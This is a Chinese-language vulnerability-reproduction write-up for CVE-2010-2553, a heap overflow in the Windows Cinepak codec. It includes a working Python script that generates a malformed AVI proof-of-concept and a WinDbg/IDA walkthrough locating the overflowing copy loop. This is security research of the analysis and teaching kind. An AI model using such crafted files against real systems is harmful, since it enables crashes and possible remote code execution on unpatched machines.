堆溢出CVE復現分析(CVE-2010-2553)

1 實驗環境

操作系統:Window xp sp3
軟件 :Windows Media Player

 

2 漏洞背景

CVE 2010-2553漏洞,也稱爲MicrosoftWindows Cinepak 編碼解碼器解壓縮漏洞,影響的操作系統版本有:Microsoft Windows XP SP2和SP3,WindowsVista SP1和SP2,以及Windows 7。

漏洞原因在於Cinepak 編碼解碼器對媒體文件解壓縮時代碼控制不恰當,可導致遠程代碼執行。如果用戶打開特製的媒體文件,此漏洞可能允許執行代碼。如果用戶使用管理用戶權限登錄,成功利用此漏洞的攻擊者便可完全控制受影響的系統。

 

3 實驗內容

首先利用以下的Python代碼生成poc.avi文件。

import sys
def main():

    aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
    movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
    cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
    number_of_coded_strips = '\x00\x10'
    cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
    idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'

    avifile = open('poc.avi', 'wb+')
    avifile.write(aviHeaders)
    avifile.write(padding)
    avifile.write(movi_tag)
    avifile.write(cinepak_codec_data1)
    avifile.write(number_of_coded_strips)
    avifile.write(cinepak_codec_data2)
    avifile.write(idx_tag)
    avifile.close()
    print '[-] AVI file generated'

if __name__ == '__main__':
    main()

然後利用windbg中的gflag.exe開啓windows media player的頁堆。(進入到gflag.exe的目錄下執行如下命令)

開啓頁堆之後,就方便調試了。接下來,首先打開windows media player軟件和windbg調試軟件。將windows media player附加到windbg上。

點擊OK之後,程序成功在windbg中載入,調試器會顯示程序正在被調試。

接下來將之前生成好的poc.avi拖入windows media player軟件中會得到如下結果。

此時的程序就已經執行斷下了,使用kb棧回溯查看觸發異常前棧中的內容。

然後直接使用ub命令依次顯示棧回溯中的iccvid+0x22cc和iccvid!DllInstanceInit+0x6279前面的彙編代碼。其中在查看iccvid!DllInstanceInit+0x6279前面的彙編代碼時,發現它最後調用了一個函數,可能是造成漏洞的原因。

這裏需要對地址0x73b7cbee下斷點,但是此時若直接下斷點是不會成功的,因爲該地址位於iccvid.dll模塊中,而iccvid只有在解析poc.avi時纔會被動態加載,若重新附加進程運行,裏面是沒有iccvid.dll模塊的。所以首先利用WinDbg的sxe ld:ModuleName即sxe ld:iccvid命令,在程序首次加載iccvid.dll時斷下,然後再對0x73b7cbee下斷點即可。

所以現在先關掉當前的調試窗口,重新上述的附加操作,然後再給模塊下斷。

接下來查看是否斷在了iccvid模塊處,確定了之後就可以給地址0x73b7cbee下斷點了。

然後按g開始運行,程序成功斷在了指定位置。

然後按F8進入單步調試,然後一直p單步執行下去。

此時再用ida分析iccvid.dll模塊,同樣跳轉到地址0x73b7cbee處,看到確實是一個call執行。

 

進入該函數,首先可以看到它有7個參數

然後判斷第三個參數是否大於等於20h

下面可以看出,每次循環後,會將edi的地址增加0x2000,注意v32這個變量,第一次其實並沒有複製,因爲第一次v32爲0,也就是說qmemcpy複製兩次就會導致堆溢出。

可以發現,三次循環,edi的值每一次增加了2000h。而由於整個堆空間只有6000h,在拷貝三次後,發生溢出。

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章